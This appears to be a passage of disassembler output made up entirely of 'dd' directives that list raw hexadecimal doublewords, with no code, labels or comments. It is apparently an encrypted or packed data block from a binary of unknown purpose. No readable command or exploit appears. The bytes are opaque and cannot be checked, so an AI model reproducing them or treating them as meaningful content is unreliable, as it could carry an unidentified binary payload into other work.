		dd 5ED0AA18h, 0AB960E1Fh, 0EB6005A2h, 70955547h, 22B6C900h
		dd 0DE823FBEh, 1A230075h, 5804859Ch, 347A6E4Ch,	2C02EDF6h
		dd 8254788Ch, 0A18DC0CFh, 298B092Fh, 2020D611h,	309A0964h
		dd 99C65700h, 0A4CFE12h, 0ACD400A1h, 0E34418D0h, 4D73F95Ah
		dd 7A94BB00h, 36FA1276h, 0DF2A00E1h, 0BFB2C056h, 0E218B3A8h
		dd 0A9EC89A2h, 437F00BEh, 1370A4BAh, 0A7015714h, 5C7623CFh
		dd 0E080DAFAh, 64EFD335h, 26778E4Eh, 58BB1E0Fh,	516206A6h
		dd 0A87A02E8h, 830E0308h, 8E33EBC0h, 40267300h,	3525777Fh
		dd 0B15E01E3h, 0A1A4E7C2h, 32F770A7h, 0D45F701h, 0CE5A7AB4h
		dd 8618E880h, 9728ADFEh, 3183D58h, 0ABB745A9h, 77787836h
		dd 1D85002Bh, 5F0A547Ah, 0DC006AA9h, 912721EAh,	1D7E2E4h
		dd 0EB49D439h, 0C0B185F1h, 0B460316Fh, 6FEFB60h, 8B8D1247h
		dd 2A880783h
		dd 906E3415h, 0F8FC8FC8h, 0FEDC6D00h, 32907286h, 215A0050h
		dd 0D6A322C5h, 0F5006635h, 0EBB69445h, 0C0B963h, 2ED84C5Eh
		dd 0A2536D8Bh, 7ED93016h, 0D01AFD03h, 0A86A8B17h, 17624FCh
		dd 0D8925ECFh, 87C4C54Eh, 46E114ECh, 0E8F05670h, 885C48A4h
		dd 0C08CAA1Dh, 0D21E8068h, 6000E045h, 0F1416B49h, 16A7795h
		dd 91485B90h, 0E6DFD456h, 52173260h, 45A0F954h,	0D0A08277h
		dd 0C912D6AAh, 880054F4h, 7DD141AEh, 837404E6h,	906C869Fh
		dd 0BF155258h, 4129A360h, 5431B8Ah, 27969DE7h, 1D800FCh
		dd 9A144837h, 0B7122026h, 4D029C20h, 0F52DC5B8h, 0CAC9E06Ah
		dd 0F21600D6h, 0E0889263h, 0CE04CCFFh, 0BAF49927h, 8570FA87h
		dd 175DB652h, 91D88Dh, 17FA2F7Eh, 150F05C1h, 0A32DD3F4h
		dd 8898B6D0h, 4C43622Eh, 45004046h, 99B1E256h, 0B97A1C5Fh
		dd 24329F24h, 0A000F220h, 0A820AF88h, 0F7660E1h, 90ABB326h
		dd 9B8A07h, 0F40E07A5h,	7C422F00h, 2BC9B108h, 6CF23A1Ch
		dd 0AFB32Eh, 76C4DD28h,	0C7078396h, 0C6D82684h,	0E029E5B2h
		dd 7360D504h, 86D43AF3h, 6CD6AB00h, 57CB83FEh, 14E3BA26h
		dd 0D3156900h, 0C4CEDBh, 82F64472h, 0F859CABDh,	54567C1Eh
		dd 0E0621DC0h, 3D24B49Eh, 42802A85h, 0F26FD352h, 0DE2EC1B9h
		dd 7900CC4Ah, 146B4001h, 3F9C002Eh, 0D6897F8Ah,	0FE392144h
		dd 50020147h, 0A9768CF7h, 0F87034h, 25B83EAFh, 2FD4FBACh
		dd 87B9430Fh, 8FFDA00Dh, 0E094EAFFh, 55C40013h,	7229F4A7h
		dd 8C908C5Dh, 37017CF2h, 5C4F54AEh, 0C6CCF6F0h,	8DE4F2h
		dd 57E18926h, 1883A5BBh, 5B848C00h, 0C465643Ah,	12B128ADh
		dd 627204E0h, 0D6989D07h, 0C4869C8h, 17A4003Fh,	8810BB3Eh
		dd 0E34A1360h, 0CCE607F7h, 7A02F001h, 24016B08h, 0CAA127F3h
		dd 0E9FD5F33h, 3805E4h,	1BEE58ACh, 0B58DF671h, 6B162B00h
		dd 1E153C13h, 3234005Bh, 0A2A77631h, 410011A5h,	0A86D0AFh
		dd 0A14DDEh, 82D93777h,	0C403049Fh, 498A6C04h, 0A8801AAEh
		dd 84AF8Eh, 0B1B9066Eh,	5809267Ah, 24816900h, 3533BC7Bh
		dd 0E9CD1F05h, 3DBF4015h, 0C787A754h, 5C13A907h, 0D2243302h
		dd 8875C881h, 8BF03461h, 72F60098h, 9625CC5Bh, 8258C814h
		dd 0AB0B00F8h, 412DEE33h, 195300F3h, 0E9BC96DBh, 457EBF51h
		dd 0EBB9B700h, 0AA81C6B8h, 0A36800A0h, 190D9E7Ah, 9F00D38Ch
		dd 9DB2A72Dh, 3B4CF8h, 12DA7108h, 0AA3EB50Eh, 0E7025202h
		dd 41E2420Bh, 0D0D0FC4Ch, 1F4F064h, 468C9018h, 0C81C6FC6h
		dd 0AC05729Bh, 4A782CA0h, 0D8DE7080h, 0B30612FDh, 4CF8400Ch
		dd 9FB44FB9h, 5F73DC09h, 48D0A099h, 31BE11Dh, 6B3D15D0h
		dd 82D94C64h, 0BC57F4EDh, 0F81CC60Fh, 0FE4AE46Ch, 0CD2228C0h
		dd 0D48F0065h, 9A02F947h, 13506180h, 8406D7C4h,	1674BA97h
		dd 9C1E1E88h, 5F0703E4h, 4024F2C1h, 514070BFh, 39FD68EDh
		dd 0CB0015F6h, 5FA4A8FCh, 4A0685DEh, 0A01FB393h, 4EFF00A9h
		dd 0FA0EE187h, 1800FEC8h, 0A0488E5Eh, 12EEBFEAh, 4088E77Bh
		dd 0E1ACE258h, 63004B90h, 0E45D510Ah, 0DDE0DFh,	254ABDB4h
		dd 681C93Ch, 2D5AB00h, 0EF5BAADCh, 7C9C38E6h, 0CEF92687h
		dd 36D4B05Fh, 0BE00082Fh, 4DD83E67h, 7D04862Ah,	82270030h
		dd 8595FA6Dh, 0A1005D28h, 542F7338h, 0E5747Eh, 0EABB350Bh
		dd 4DD7A5FDh, 83101567h, 0D81A4F43h, 0C4A875h, 68905308h
		dd 505D38E5h, 0FC793D00h, 5E02A9CAh, 1F490085h,	0BB149E88h
		dd 2105D66Ah, 1B3D8993h, 4246B008h, 0F7F527h, 85755FFEh
		dd 2AB70025h, 60E3B8BBh, 11C0D64Eh, 32421481h, 2D261D0Ch
		dd 0D18ECBEDh, 9071E404h, 9742497Ch, 0C68CA807h, 6D67EED2h
		dd 0E92BB060h, 8B77007Ch, 10A238A5h, 0AC009020h, 0ECA14689h
		dd 1CBE689Ah, 0C2190F1Eh, 67C5EF3Ch, 307A3C41h,	60004350h
		dd 0FC07122Bh, 8CBE34h,	0E0761B49h, 3A29C57h, 8ABC2800h
		dd 2A8E9988h, 9F4F00B4h, 0B3AFA159h, 0CF03D411h, 6BCEA0A3h
		dd 0FF0DA852h, 975A0379h, 20FBE08Eh, 3891EDB8h,	43CF6400h
		dd 2616CBECh, 0ABBE00F0h, 0F80A8EB8h, 5018AFEh,	0B4F78141h
		dd 50F4AFDDh, 0AD7324BFh, 0F029009Ch, 0C58265BBh, 3A00DCF2h
		dd 2F8D9222h, 72F3302Ah, 871A001Dh, 0AA196B09h,	47FE5BCAh
		dd 71C1A307h, 72905980h, 49D7573h, 0ACD9D7F7h, 0CC630027h
		dd 78ECEA7h, 0DCE803C6h, 0FC57B0EFh, 5503B0FEh,	8F496E71h
		dd 1B7DB89Ah, 25C77891h, 24010FA6h, 2026E44Eh, 0DC006334h
		dd 414FA971h, 1E47D851h, 806D3758h, 0F6A1743Dh,	2500051Bh
		dd 905AD5C7h, 0DD89F9h,	8F80A7E0h, 0DD7BBA9h, 0BA25A670h
		dd 0A558029Eh, 8C70608Bh, 0B71036Ch, 413D5DB2h,	9CF17000h
		dd 0BE567F7Ah, 3E82004Dh, 7B4C5861h, 0D103252Dh, 1C96A120h
		dd 0B8E3B993h, 0A332D4h, 0C469A090h, 7C647D98h,	3F7EAF00h
		dd 57F0069Dh, 0FDF458h,	9E2E441Ch, 15FB23F6h, 0AAE93Ah
		dd 8032BB2Bh, 1CD996h, 21D7AD0Dh, 7C0E4325h, 5544118h
		dd 0F092398h, 0DF8F7BF4h, 5043187Dh, 0F309BA5Bh, 34FA418h
		dd 83E404h, 12FCC83Ah, 37F5AABDh, 9E3E787Bh, 744C2F7Ch
		dd 3836009Ah, 8EA5856Fh, 0B2BD1D00h, 56AFDF0Ch,	82552A78h
		dd 40190794h, 0AB351494h, 37EADF00h, 5E003D22h,	0C9CC6B9h
		dd 3757443h, 5D695BF8h,	77986BBDh, 0FA00C353h, 0A89B886Dh
		dd 4ED62E3h, 0E109C7ADh, 0B3108034h, 0F1425792h, 0BD1F2400h
		dd 90DD2E09h, 0FB09C878h, 2076A34Fh, 85196D4h, 0F0454C81h
		dd 0D849BE00h, 0F4FE7B5Eh, 0B54E459h, 0A02EC3A4h, 83EC8410h
		dd 0B8183C6Eh, 3B4FD08Eh, 1020F1CBh, 0D88AF90Eh, 77BC30B1h
		dd 0A209EA00h, 0D2C7F817h, 8D2305FAh, 80E1AD67h, 0C0697DBDh
		dd 0CF703E13h, 0FA97BC03h, 0A8E618h, 6BD3CB49h,	63238645h
		dd 40021672h, 0EFF8B14Bh, 0E068C36Dh, 7470B4h, 9A8197D7h
		dd 0FD9B91C5h, 3ADFF500h, 5630FA6Ch, 707B13h, 0F592ADEh
		dd 8C736E82h, 22BB1C01h, 6235B304h, 0E900C028h,	0C89AE16Dh
		dd 6A009CDDh, 220FF1B8h, 2BBE40h, 0C1875C10h, 0E042DA70h
		dd 21794C00h, 3F255F9Eh, 0C5BA00C4h, 2DC3D60Ah,	72007576h
		dd 0B3AB3329h, 31946B6h, 0E0EE3CA3h, 7013937Ah,	4A0574C5h
		dd 5A82C9BBh, 798858FFh, 90DF6F2Dh, 90E72100h, 370E459Dh
		dd 92894A5Fh, 1823240Ch, 0AE50077Bh, 408EDB95h,	3522AC6h
		dd 0A4930F00h, 5C14F802h, 28FF6FEFh, 1F0D6C80h,	0A101BBF3h
		dd 7CC5F1C8h, 0D5E03BD4h, 40CA5458h, 4708E92Fh,	0DB9D9600h
		dd 5DB090FCh, 6514A0EFh, 225600E8h, 0B70571BCh,	6103F2E1h
		dd 0DF694FC0h, 0F630E0EDh, 854C0118h, 8CF395E0h, 0FB1C70D8h
		dd 0C58A3F0Eh, 135DC023h, 0E431527h, 0F796402Ch, 61D25543h
		dd 125C41A8h, 8A985200h, 422C4B07h, 0D50BA46h, 0EB93C487h
		dd 498E2A9h, 0D73E0F43h, 280F58CAh, 66019047h, 0B3156EEBh
		dd 88304448h, 0DD650169h, 0E0D83C20h, 2921D7DCh, 56B70807h
		dd 1A849990h, 44B34422h, 4F8A6B42h, 8C21F504h, 42D81705h
		dd 0F1249DF8h, 0E9DF7E40h, 0FF000B59h, 1A7AA152h, 7BC1281h
		dd 51021783h, 0B81CD0DCh, 410350D1h, 0B182B2DDh, 0D0D09F89h
		dd 202730Eh, 5D5B2775h,	0E04163FCh, 3EB8F365h, 7003A7Ch
		dd 0B8CAF153h, 1CEFB493h, 405EE483h, 8B864BC8h,	160040F2h
		dd 0DAB58A32h, 1FC3C05Ah, 4066C208h, 0BFF082DBh, 6707247Dh
		dd 993DC66Bh, 7EB21520h
		dd 1B6F052Ah, 41F08838h, 71A544BCh, 56ACC8CFh, 0F3C76307h
		dd 130F72E5h, 0FC1A9807h, 12C31FD0h, 145B0539h,	0ABF8A22Eh
		dd 5CA0F503h, 2405904Eh, 48602CB7h, 0C36203E3h,	0AEA93BCDh
		dd 0A43212h, 0AC3A7B99h, 17DCA79h, 0A49CAF03h, 0DC455C9Bh
		dd 0E8EF15C3h, 0E50354BAh, 24927FEEh, 0DF8BDAD7h, 0FEA0A000h
		dd 5E006299h, 0D3DBD5EAh, 30CD805h, 289F1627h, 33F0C3A8h
		dd 40008262h, 0C278F4F5h, 0B8CFAE04h, 5C900082h, 0F7139610h
		dd 0E2035319h, 0F237D83h, 0B114809Dh, 4F5700D4h, 810E94Ch
		dd 0DA009951h, 88C7C64Eh, 7BC8A966h, 0F0493AF9h, 68B9C380h
		dd 84C5468Bh, 0E719A501h, 0B85E1DD1h, 3FB1FCh, 44D79006h
		dd 0F53C47D2h, 0D3DF980Eh, 0E7F9C783h, 11C9DBB0h, 30C4A0C4h
		dd 4BB90047h, 0A36CFB98h, 9E00628Ch, 0F72DEB6Dh, 54C5F89h
		dd 0EF2F5613h, 3E67C7B7h, 205C58C9h, 5EDE3400h,	6D20Fh
		dd 0ED545F93h, 48710BC8h, 0CB002576h, 0AB449B7Bh, 773B12h
		dd 0F5F4A0D7h, 0C5A69990h, 0DBE1EB07h, 7490015Bh, 0FA6AE8EFh
		dd 0EC680080h, 0D81827A4h, 83F4B1A3h, 9E9CE707h, 0A720D554h
		dd 0A33C3D36h, 30E0A8EDh, 3E38004Fh, 0D674486Ah, 95001C83h
		dd 0F7AEA387h, 6042B286h, 70553029h, 471F562Fh,	5BDEDBB3h
		dd 0D265DF04h, 84B008C7h, 0AA3299h, 0EA03D9BAh,	0EB4E4B29h
		dd 0E23C3EFAh, 9EB3808Ah, 0AD215819h, 0E97500F9h, 6A044265h
		dd 0D7002382h, 68700C41h, 0F2ACDFh, 0DE503624h,	0E50B11F4h
		dd 15000690h, 76AA0AF3h, 0F5F426Ch, 0CA43C941h,	0A53733A1h
		dd 0DF49F426h, 0C02F500h, 0EAE8714Eh, 3B090C0h,	0D230D740h
		dd 83F477B6h, 24A8647Ch, 0C7078A29h, 7E653F05h,	75BC03D1h
		dd 7476720h, 0B5D37619h, 78088944h, 658E0084h, 0D74697F6h
		dd 949AAD00h, 1951586Bh, 44E7044Fh, 0BCCF5D1Eh,	5F9D0097h
		dd 0EE8EC7FFh, 0AA8300B6h, 0AEC88F99h, 710BD751h, 8C9CF0h
		dd 0D39AAB54h, 13765Ah,	4B9D1EE4h, 0E6B861D6h, 15A93900h
		dd 7047D468h, 7F1C189Eh, 8B18A6BDh, 0CC6B3B00h,	725F8F2Bh
		dd 0FC7D047Ah, 0ABECD057h, 53A09FC0h, 607B04E4h, 8017C3B7h
		dd 50F622CCh, 0D91D4C9Ah, 8CC9D8DEh, 0DDF443h, 7D03655Ah
		dd 6C993BEDh, 4790BAE1h, 2AB3C30h, 0B785B06Eh, 9087264Dh
		dd 0CF92A04Eh, 0F1001B30h, 196742Dh, 48ADEF10h,	7B023435h
		dd 0BEC3B183h, 7E05E05Dh, 874C00AFh, 0F58264E0h, 0D4F1369Bh
		dd 0F9004491h, 3818FB46h, 98AD6293h, 0A299004Ch, 65BD1971h
		dd 57182692h, 6AD812A4h, 392805C1h, 80292F31h, 573AF08Ah
		dd 0A82A8109h, 0F8AC80EDh, 2E12127h, 0D6A2B926h, 9BE093F6h
		dd 6204E771h, 0F01BA859h, 0E09C1582h, 163BD9B2h, 408DAA47h
		dd 130A357Ch, 1F00B2E1h, 65A2B6DDh, 69286Bh, 6C45F799h
		dd 7B239C58h, 0CA00407Eh, 86EFA7CBh, 89C461h, 0A48ED680h
		dd 51313875h, 0C0265500h, 17F02E8Ah, 38949A41h,	79D807CAh
		dd 0DA29FF0Fh, 0AFABBB67h, 66BDED80h, 0FA7CAE0Fh, 7700A1B0h
		dd 195F94E7h, 172ABC3h,	0F97F4D41h, 0D85CDED1h,	9403A50Ch
		dd 5224788Ch, 0E5F802Bh, 0FBE00980h, 1080E449h,	9BCBC4D4h
		dd 74EEB901h, 6F965437h, 31B360h, 457B2DB6h, 0E82BEB7Fh
		dd 0E7034004h, 4CD013F9h, 786B7Dh, 59663A96h, 3EFC9432h
		dd 98676100h, 0B077AC45h, 15AA3C57h, 0C2B37A87h, 4A03F091h
		dd 451F39CEh, 80BA1B10h, 92253753h, 1C7A6563h, 3F0E97CCh
		dd 0D055BB80h, 0A3491CD7h, 9240BD1Dh, 5607AFD3h, 5510B61Ah
		dd 9082E647h, 0F83700A4h, 52B50959h, 83002AA3h,	0CE2C74E8h
		dd 0E6352B64h, 1A08004Fh, 30AED0BCh, 0DE0B0902h, 0DF05F6h
		dd 1C2E196h, 13680106h,	0A12603A2h, 0D4A42020h,	888D1200h
		dd 96D23F76h, 0A87F006Bh, 63DDED83h, 1D002660h,	0C5AC1841h
		dd 3FEB8FF3h, 73806571h, 217F3130h, 4D006CF4h, 0A9C3DA4Eh
		dd 28390682h, 94A026h, 62F85C5Dh, 0B70F0E6Bh, 850C697Bh
		dd 4071998Fh, 63270E54h, 516197BAh, 806B7B1Ah, 0B1F82318h
		dd 0E273BFDh, 0C18384A1h, 7122C03Dh, 1E630F32h,	0BED88100h
		dd 0B8B346C9h, 0D63A00A5h, 93AA9615h, 7338BF6Ch, 0B54F07BAh
		dd 0FB80BBC2h, 3EEF40h,	1C3199D3h, 0AE6F1A55h, 7A745400h
		dd 6EEA9ED8h, 0DD5200E1h, 826BC383h, 0BE004466h, 773AE830h
		dd 63B357h, 0DBD0B806h,	35FA1B9Eh, 0F688A800h, 5E1780F7h
		dd 0CEF51C79h, 0AD900010h, 7F7D8E6Dh, 0A120C900h, 40378F16h
		dd 0BB110312h, 0A6619C51h, 9EFADCD8h, 5DFED500h, 3BDFF897h
		dd 0A9280186h, 1FD1FC59h, 0D32AC067h, 7300F37Ch, 25943FE9h
		dd 0B83E9897h, 6A012424h, 0B14300C3h, 2967D7A0h, 0C0B70507h
		dd 90737564h, 0E1D0AF14h, 8AD9BEh, 0CDE08BA9h, 58F7815Ch
		dd 6DAAC20Ah, 280058ACh, 7385B243h, 53C80099h, 0AF3B0D9Ch
		dd 5100BD49h, 81A6771Fh, 3253935h, 0ADC4E81Ch, 0F1A8E0EBh
		dd 0BE03A872h, 0F47D33D2h, 343AC82Ah, 0F8B30068h, 39017A6Dh
		dd 163F1FBBh, 0E1AA0005h, 0C57CD3C0h, 0AFEB073Ah, 0E0ED50FEh
		dd 69C13272h, 35482F00h, 34A04BF9h, 0AE0FEE8h, 0F129E974h
		dd 0D78003B4h, 6A78068Bh, 54E54B00h, 0A3CF9417h, 0C391011Eh
		dd 0DDB39C78h, 0CA9FF4CCh, 0FFDC4100h, 33B87E68h, 0A01C76AEh
		dd 0F69B5B94h, 87D000D6h, 61609F22h, 94002DEEh,	67AE43C6h
		dd 0E1C5F7h, 0F6BA12ADh, 819258DCh, 0FE55043Bh,	0F20061E8h
		dd 9AD1D085h, 3BEED641h, 9E80646Fh, 5B3AE695h, 0C40706DBh
		dd 0B0967966h, 0BC509140h, 2B31174Eh, 0E69A0012h, 0ED1B886Bh
		dd 4A11D300h, 0F72F2E89h, 583D09F8h, 0ED00744Bh, 0FE37E877h
		dd 0F00225E0h, 3D8D0C6Bh, 0E6144009h, 2D04003Fh, 2373D514h
		dd 70485DA7h, 77D4003Ch, 220E1844h, 0D7E80C63h,	0A4585288h
		dd 7963D09Dh, 0B6490FB7h, 2980F467h, 13FAB16Ah,	0CB2F8400h
		dd 0C1514A1Dh, 0EFCD00AFh, 2CBC8311h, 3B00C81Eh, 5A6929B6h
		dd 534175h, 0BD107CCh, 0AA21691h, 0D4BC8B03h, 0C98A27h
		dd 562EDA19h, 8F1A4CD9h, 9D75593Ah, 0B9E6AC4Dh,	9D5D0039h
		dd 1451CFF8h, 813C004Fh, 0D45C1803h, 2B1860CBh,	7FF03BCAh
		dd 10670051h, 8035A690h, 160B4C5h, 39911A70h, 7EC701ABh
		dd 0D0BB046Fh, 0A9DFD484h, 0E9C2AE1Fh, 94F73440h, 2CAC3B81h
		dd 0A8741Fh, 4D10AFDCh,	7200E505h, 6B3C42DBh, 0B84E8096h
		dd 0C3B3004Eh, 0AE20F8CFh, 0D000260Fh, 0B29BCDE6h, 5E505Ah
		dd 852D4A02h, 6513299Fh, 49D0A401h, 0C1BD3672h,	191CFBFCh
		dd 36A31B91h, 32183410h, 0B9073Fh, 50672423h, 0F46DF0h
		dd 6979D4A7h, 9CB386AAh, 19B8DF01h, 0CCB4EE70h,	0E6073881h
		dd 0C4CFC6B6h, 0F8BD9D74h, 0C45D0A15h, 0EC87D60h, 4300ABD9h
		dd 85FD793Dh, 3A922203h, 0C0ADE261h, 526A55h, 5ECD9BC5h
		dd 0CCE15477h, 0A5156600h, 0F12C6526h, 0BB3C005Ch, 0FA2E8CEFh
		dd 0B20E347Bh, 227AA607h, 40FB8118h, 0F64B538h,	7B932E0Ch
		dd 0C6E7B040h, 0F002BB90h, 3579CE73h, 4F480E5h,	7B0520h
		dd 0EECDCFF9h, 0F9E51FBh, 0DD398C00h, 0D78EAA5Ch, 35C70092h
		dd 67C612BBh, 53057986h, 2F625BE3h, 0D1F571C0h,	0A1479E0h
		dd 0CCD78AEh, 0E76480A4h, 80CB87B6h, 229CEC00h,	915AFBD0h
		dd 2AC96168h, 2036EDFAh, 410A4E88h, 0B8013780h,	4A425E9Dh
		dd 2B4AFD6h, 346821DDh,	0EA7C13CBh, 0C30BA906h,	164423h
		dd 521669E3h, 0E04C1A88h
		dd 40671803h, 0E8C8A799h, 0B37C5FBh, 0F5AC2BCEh, 7865D380h
		dd 1749B8BDh, 264C70h, 62B91450h, 0E254BDFh, 0F658BD8Ah
		dd 56D43D80h, 0FB1426ECh, 0C4630Bh, 8030F810h, 18FCB5DDh
		dd 9895EDA0h, 710332C3h, 10638D4Ch, 0A265A03Dh,	6C5A4C77h
		dd 0B32A0079h, 1615CD4Eh, 0A300BF53h, 61D34B7Ch, 0E3C538h
		dd 0BA9178D7h, 7BBE6087h, 3B1A0909h, 1728A037h,	1E61DBh
		dd 4E02244Ah, 0E05EB0FAh, 57AB3103h, 84699A6Eh,	0E9B1D8C0h
		dd 0CF772616h, 762F00B9h, 58D4755Bh, 2A20E313h,	8EBD7800h
		dd 6D01DAh, 19E4785Ch, 0E3A7BEC4h, 7CB54400h, 0A09BB190h
		dd 1B0C1CFDh, 949900F7h, 6F16C923h, 0D8F4C424h,	3AE3900h
		dd 353E0B1h, 0E94421A9h, 0B0076622h, 0BF5C0A8Fh, 0D3E09450h
		dd 75150058h, 0A44FF618h, 0C890A737h, 0BDE3E200h, 847B46A3h
		dd 0B02376F0h, 9F720090h, 4E0AECCFh, 0B70B0356h, 8091B1h
		dd 71DDAE94h, 3888C4ACh, 0D4B090BDh, 443E352Ah,	0CD5D008Ch
		dd 0E5C903F8h, 2CE9EC36h, 0D9FF48h, 0F383767Bh,	923EEAF2h
		dd 0D13985E4h, 0E080048Fh, 609450h, 0BB4B0AA0h,	0F782E498h
		dd 0E45093Fh, 7FF9EABAh, 2F8D7C00h, 3B13E46h, 945178D9h
		dd 89D8F180h, 7F609577h, 30405360h, 5770014Ch, 4DB08088h
		dd 48D0306Eh, 8DDFA300h, 38D583ACh, 76173A7Ch, 8203B4BCh
		dd 96E8A44h, 6D30DCA8h,	0FB1D4A00h, 767DB68Bh, 7869004Eh
		dd 1072F747h, 0E601EC12h, 19D4FEC2h, 17E826BCh,	4A87015Fh
		dd 0FD62BD6Bh, 5304702Eh, 2A9BB800h, 2BD4D95Ch,	30E8C05Dh
		dd 0A5B2B48Fh, 7158BF00h, 25FD3715h, 0B3DE0022h, 6930AC9Fh
		dd 6700EDA2h, 82E1031Fh, 19E8F9h, 0D8E43FB5h, 7CDE3E55h
		dd 11B6D500h, 40D1D943h, 23F819ECh, 0D9AB1013h,	40492122h
		dd 46F7B304h, 3989A000h, 0D205BE63h, 0F23B002Fh, 0B9156D2Eh
		dd 0F874309Dh, 48E89300h, 827AC4B5h, 7DF9E6BCh,	0FE6F02EEh
		dd 7B1A6FDh, 28D922E0h,	0EA57A200h, 0B27D9801h,	18BFE830h
		dd 0B1E49593h, 0A8E6C2A7h, 79046600h, 0BAAD266Bh, 99530024h
		dd 0FA2AE4AAh, 0B5E897EAh, 886E8C0Bh, 0D75A00FCh, 7446696Ah
		dd 8EA00A5h, 0A74534F4h, 3600BD41h, 0F035EC10h,	7A1C90h
		dd 0CBD98FD0h, 4DED22C0h, 4500A0EAh, 3A323EB0h,	0E69370h
		dd 5338D808h, 14DD022Fh, 2895A300h, 0DA6BF9FAh,	9CE6A0h
		dd 94EE9A1Ah, 6FE2E70h,	5827FB0Eh, 6498C0BCh, 0F0743Dh
		dd 5B1B9ADDh, 2B9FA24Ch, 6E457900h, 0E2B98B0Fh,	127AE0h
		dd 2C897F1Eh, 7ECA7739h, 9000ACE2h, 223494EFh, 5415E7Ch
		dd 0E48F9342h, 0F3B800F7h, 625560B1h, 0DCAE8E27h, 0CEBB0054h
		dd 0E926779Dh, 8100F973h, 5929EEC0h, 0A063EBh, 5393A5ADh
		dd 8003E3BDh, 0BC940C00h, 0C55841B2h, 0C448005Ch, 0D2A8E5F9h
		dd 793C2014h, 1B00FE7Fh, 282C2595h, 0FC75C651h,	0F0211273h
		dd 6A4C0097h, 198A9A48h, 2E266C39h, 7400F0C9h, 992078A7h
		dd 0EAC400AFh, 0C1B2499Bh, 0ACA0EF6Ch, 1C07626Dh, 0DC42E661h
		dd 3B7A6430h, 7D200040h, 0CA023C3Fh, 1B000978h,	0B5569C60h
		dd 0EFE4D374h, 0CE8770h, 0C6554AF9h, 475E857Bh,	0BB0A2500h
		dd 0E0B3E883h, 99EF0329h, 2015A9BFh, 0B6FA7DD8h, 38693200h
		dd 0F9D87176h, 283A49B4h, 0A4C9DC03h, 0D0017B19h, 0C6E0BF80h
		dd 0BA7034EDh, 643B00B1h, 8EEA94E9h, 7900C388h,	5CBDF3B0h
		dd 0E200181h, 0FEF04F0Ch, 0E14E6A61h, 0B62AFCC0h, 0ED75EEEEh
		dd 0DF1EAB14h, 0A1EB1E9Bh, 0CA1DF840h, 1D1A6637h, 4039B5DBh
		dd 0E542CF12h, 1800F0DCh, 934A2325h, 110F85Dh, 5A12EC55h
		dd 0D83FEF35h, 0C003F24Ch, 7090098Dh, 415DF8F8h, 0E59A1278h
		dd 0E3A84E32h, 12653020h, 81FE3F9Dh, 5E8BF400h,	79B6864Dh
		dd 7C9600A9h, 29175C01h, 0CF0F137Bh, 4383B53Ch,	8830D390h
		dd 2A3649Ch, 0F56851E2h, 1040AB4Ah, 0E100F815h,	0DD22C7C6h
		dd 38CD6F0Eh, 7C6A7Bh, 6DBBE33h, 54056182h, 80FD233Eh
		dd 65373E76h, 3A8BB5E6h, 0A5BC84A6h, 274313h, 169F28AEh
		dd 0F900C99Bh, 0AA024148h, 5B467h, 0BDB676A7h, 5B8494C7h
		dd 0D6FCDF07h, 14B09B9Fh, 0F2CAB736h, 204F0181h, 7B48A142h
		dd 0D02CF468h, 0EF8E1B00h, 555B7AFEh, 0EB6E00E0h, 0D5D86959h
		dd 3F39B4DDh, 381487BBh, 5F337BCEh, 0B3F7B0B2h,	4D0800C8h
		dd 2D7C561Dh, 4E007419h, 0D3B15AA5h, 0F8419448h, 0FBF628h
		dd 3E4D8FDCh, 35D4F22Ah, 4682D100h, 2898E51Fh, 0BBE80022h
		dd 0DD842572h, 0BF00519Fh, 0BA9EE04Ah, 77EAA8h,	0E25C89FAh
		dd 0D6154ECFh, 5E82403h, 0CC2F67CBh, 0C901E5C0h, 71D00098h
		dd 0B439AF56h, 8C384DD4h, 4258009Ah, 0A613307h,	0E2703948h
		dd 25548980h, 0EE32C447h, 0DFEC8F00h, 29F3B636h, 63E4BFh
		dd 0A96802B7h, 0E6E539FAh, 2783D200h, 99D0A664h, 4BB03003h
		dd 0D1477360h, 1C54EB00h, 41EF1378h, 5A040FF0h,	0D76D0FE8h
		dd 78DBD789h, 0F5483000h, 0F4E43797h, 0E8DAE8A7h, 9542839h
		dd 610F2810h, 9B5A0E1Ch, 4B8EEED8h, 78FD0A80h, 0C401871Fh
		dd 0F97CE0E5h, 708BE1FEh, 848FF70Dh, 0D740E981h, 0D05FF941h
		dd 0C5739F75h, 70F74830h, 65C2CCD5h, 6103505Ch,	90085654h
		dd 4C1DCFC8h, 18F300C7h, 2974B17h, 8D01B800h, 44A9353Ch
		dd 9B291F69h, 4018407Ah, 0B2DC4ACh, 877BB307h, 0E1E0093Fh
		dd 0FBFCC9h, 44B6160Ah,	0E2A9B55Ah, 1357A400h, 147DD203h
		dd 0AA8700F0h, 71B33F74h, 54F6098Ch, 6028B0A9h,	0D003AC17h
		dd 0C8D776C0h, 9B0830B8h, 58FC8721h, 0D4C67900h, 0E41AB017h
		dd 4DD800BBh, 654C24Bh,	40EB7563h, 0DDEAE6D8h, 0B340FE02h
		dd 8197D0FFh, 3816F7B8h, 0FA94BDD0h, 1B440026h,	878D4BE4h
		dd 0E71E5AEh, 202DA330h, 14AABC73h, 2005A40Ah, 182755E1h
		dd 0A5930A17h, 80F079F5h, 0A114F0ECh, 39390FF4h, 8DFB34Ch
		dd 0CE2100AAh, 0BF2F1408h, 0C800A642h, 1F219241h, 0AFFEFD8h
		dd 0D65B254Dh, 0E6D380D8h, 0C35AEB4Eh, 5496D807h, 0EC46D98Bh
		dd 0DEE221h, 311B474Eh,	0C11CE6D6h, 0B5FE8200h,	0FD5301C6h
		dd 28FC524Dh, 0F24EE506h, 2889485Ah, 0D83310E7h, 0C0D50C4Eh
		dd 2CB182D2h, 4757BC15h, 375538C8h, 0B9851893h,	47AC048h
		dd 0C656BB8Fh, 0D1282866h, 5E22D8A7h, 15BD19AAh, 4AFD699Ch
		dd 0C0E8C874h, 93D44B6Ah, 5525DD0Fh, 0CC2897Ah,	1801918Fh
		dd 0A9567B71h, 991EA5B8h, 0A747F6BAh, 0D6F0CBFAh, 48BD1C1Ah
		dd 0F980883Bh, 0ACD0AEFFh, 96BCF018h, 56931648h, 0EB02E8AAh
		dd 0D7F4E014h, 0B510B031h, 94071403h, 0C3404ED5h, 0A006B7F7h
		dd 0A6288188h, 147FEF18h, 10F7F424h, 7B970h, 248A5114h
		dd 0BBA4FEC2h, 514E5E31h, 0C3E4D0C1h, 2603007Dh, 94A85FDDh
		dd 21C2977Ch, 60F5299Bh, 6AA799h, 0FB611753h, 2E834534h
		dd 0CD00B590h, 3338FC1h, 24922316h, 741494BFh, 0C800EC46h
		dd 885DB223h, 32456ABh,	24800C99h, 0B5FF6D94h, 0BCC024Fh
		dd 25695ECh, 0C2E1C44h,	0EB015082h, 14BD6892h, 6C23C40h
